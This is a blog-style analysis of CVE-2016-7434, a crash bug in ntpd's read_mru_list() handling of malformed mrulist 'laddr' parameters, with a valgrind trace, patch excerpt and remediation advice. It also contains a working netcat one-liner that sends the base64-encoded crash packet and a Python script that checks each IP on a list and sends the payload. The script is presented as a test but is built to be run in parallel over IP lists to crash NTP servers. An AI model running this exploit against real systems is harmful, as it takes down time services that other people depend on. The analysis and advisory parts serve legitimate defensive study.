NTPD read_mru_list() DoS Layman Analysis

Background:
NTP stands for Network Time Protocol, which is a UDP based protocol designed to synchronize clocks of devices over a network with Coordinated Universal Time (UTC). In it’s fourth version, it is one of the oldest networking protocols. NTP.org implemented this as a daemon. Many vendors use this implementation in their products. In it’s latest iteration, ntp-4.2.8p9, fixes 10 security vulnerabilities. One of them is in the read_mru_list() function, implemented in the ntp_control.c source file. MRU refers to “Most Recently Used”, a list of source IP addresses, which can be used to rate-limit traffic between the client and the server.

Why is NTP important?
NTP provides us with uniform time stamps to describe, maintain or troubleshooting devices and their subsequent conditions or attacks, without which accurately correlating information between devices becomes difficult. When it comes to cryptography, correct time is of importance when verifying encryption keys. NTP authentication – which is optional – is used to authenticate the server, not the client.

Vulnerability analysis:
Recently, this single line of PoC caught my eye which causes a DoS on vulnerable devices:

echo "FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsYWRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=" | base64 -d | nc -u -v 127.0.0.1 123

Looking at the Base64 encoded string, I wanted to decode it and see what it has. The Base64 string is decoded to:

6nonce, laddr=[]:Hrags=32, laddr=[]:WOP2, laddr=[]:WOP

The other command line options are described as:
nc – The Netcat tool.
-u – Use UDP instead of TCP.
-v – This is for verbose output.
127.0.0.1 – This is the target IP address.
123 – This is the targeted port. This is the default NTP port.

This means that we are simply decoding the base64 encoded string and transmitting it via the netcat utility.

What exactly is this “laddr” argument and why does sending unusual data value via this argument crash the ntpd?
mrulist if enabled, allows you to obtain and print traffic counts collected and maintained by the monitor facility. The “laddr” or the localaddr argument allows you to filter entries for packets received on any local address OTHER than localaddr. Since the famous 2013 NTP reflection attacks, the mrulist command requires a nonce value proving that the command came from the IP address in the UDP packet. Such older versions used the “monlist” command; which by default responded to NTP Mode 7 “monlist” requests, and has since been disabled. The “mrulist” feature uses mode 6 packets and implements a handshake procedure to prevent the possibility for hitting a third party host with the amplified traffic.

If you saw the proof-of-concept code on the various websites, you may must have observed that the author used a certain utility – valgrind to display the corrupt memory state when the application executes this malicious payload. Valgrind is a good programming tool for memory debugging, memory leak detection, and profiling. I have included a small snip of the memory dump from the PoC here for explaination purposes:

| ==5389== Invalid read of size 1                                    |
| ==5389== at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)            |
| ==5389== by 0x45704D: estrdup_impl (emalloc.c:128)                 |
| ==5389== by 0x41AF29: read_mru_list (ntp_control.c:4041)           |
| ==5389== by 0x42BB09: receive (ntp_proto.c:659)                    |
| ==5389== by 0x4145CF: ntpdmain (ntpd.c:1329)                       |
| ==5389== by 0x405A58: main (ntpd.c:392)                            |
| ==5389== Address 0x0 is not stack'd, malloc'd or (recently) free'd |
| ==5389==                                                           |
| ==5389==                                                           |
| ==5389== Process terminating with default action of signal 11 (SIGSEGV)                                                            |
| ==5389== Access not within mapped region at address 0x0            |
| ==5389== at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)            |
| ==5389== by 0x45704D: estrdup_impl (emalloc.c:128)                 |
| ==5389== by 0x41AF29: read_mru_list (ntp_control.c:4041)           |
| ==5389== by 0x42BB09: receive (ntp_proto.c:659)                    |
| ==5389== by 0x4145CF: ntpdmain (ntpd.c:1329)                       |
| ==5389== by 0x405A58: main (ntpd.c:392)                            |

Here,
==5389== – is the PID of the application.
0x45704D – These are the code addresses, which are
Invalid read of size 1 – tells you what the error is. In this case, the process tried to read a 1 byte long memory location that is outside of the memory addresses that are available to the process.
Address 0x0 is not stack’d, malloc’d or (recently) free’d – This means that the address that the process was trying to read 1 bytes from starts at 0x0 and that it is unavailable through stack space, heap space (malloc), or that it was recently a valid memory location.
Process terminating with default action of signal 11 (SIGSEGV)SIGSEGV is the signal sent to a process when it makes an invalid memory reference, or segmentation fault. This was done by Valgrind to stop the execution after producing the error message.
signal 11 – (segmentation fault) means that the program accessed a memory location that was not assigned.

Since I knew that the problem was in read_mru_list in ntp_control.c, I checked out the source code. Though there are many changes, very primarily, they have added better pointer reference calculation and better error handling for input received:

} else {
DPRINTF(1, ("read_mru_list: invalid key item: '%s' (ignored)\n",
v->text));
continue;

blooper:
DPRINTF(1, ("read_mru_list: invalid param for '%s': '%s' (bailing)\n",
v->text, val));
free(pnonce);
pnonce = NULL;
break;

As a fun exercise, I whipped up a quick Python script that takes IP addresses as an input and tries to DoS them:

# CVE: CVE-2016-7434
# Mayuresh

import sys
import socket
import ntplib
from time import ctime
import argparse

payload = "\x16\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00\x36\x6e\x6f\x6e\x63\x65\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x48\x72\x61\x67\x73\x3d\x33\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x00"

parser = argparse.ArgumentParser(description="CVE-2016-7434.py - Test a set of IP addresses for the NTP vulnerability." )
parser.add_argument("--ip", action="append", help="IP address to check for NTP vulnerability.")

a = parser.parse_args()

if a.ip is not None:
c = ntplib.NTPClient()
for ip in a.ip:
try:
response = c.request(ip)
if response:
print "[!] Got NTP response " + ip + " as: " + ctime(response.tx_time)
print "[!] Attacking " + ip
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (ip, 123))
print "[+] Exploit sent!"

except Exception as e:
print "[-] NTP service error: ", e

else:
parser.print_help()
exit(1)

Simply feed the list of IP addresses on a Linux system like this –

cut -f1 -d";" iplist.csv | parallel "python ntp-mass.py --ip {1}"

To check for a single IP, run –

ntp-mass.py --ip 127.0.0.1

If you find out that the device you own has a vulnerable NTP implementation (I am assuming that all of you have updated your local systems at least!), you can follow the remediation steps mentioned in the vendor advisory such as allow mrulist query packets only from trusted hosts or auto-restarting ntpd (without -g) if it stops running. Why use it without the -g option? It gracefully shuts down ntpd in case of any error conditions. My advise, implement NTPSec, which should be better in such conditions. For additional technical details about the root cause analysis, please visit this blog. QualysGuard QID 38651 will also help you detect this vulnerability in your network.

Leave a Reply

Your email address will not be published. Required fields are marked *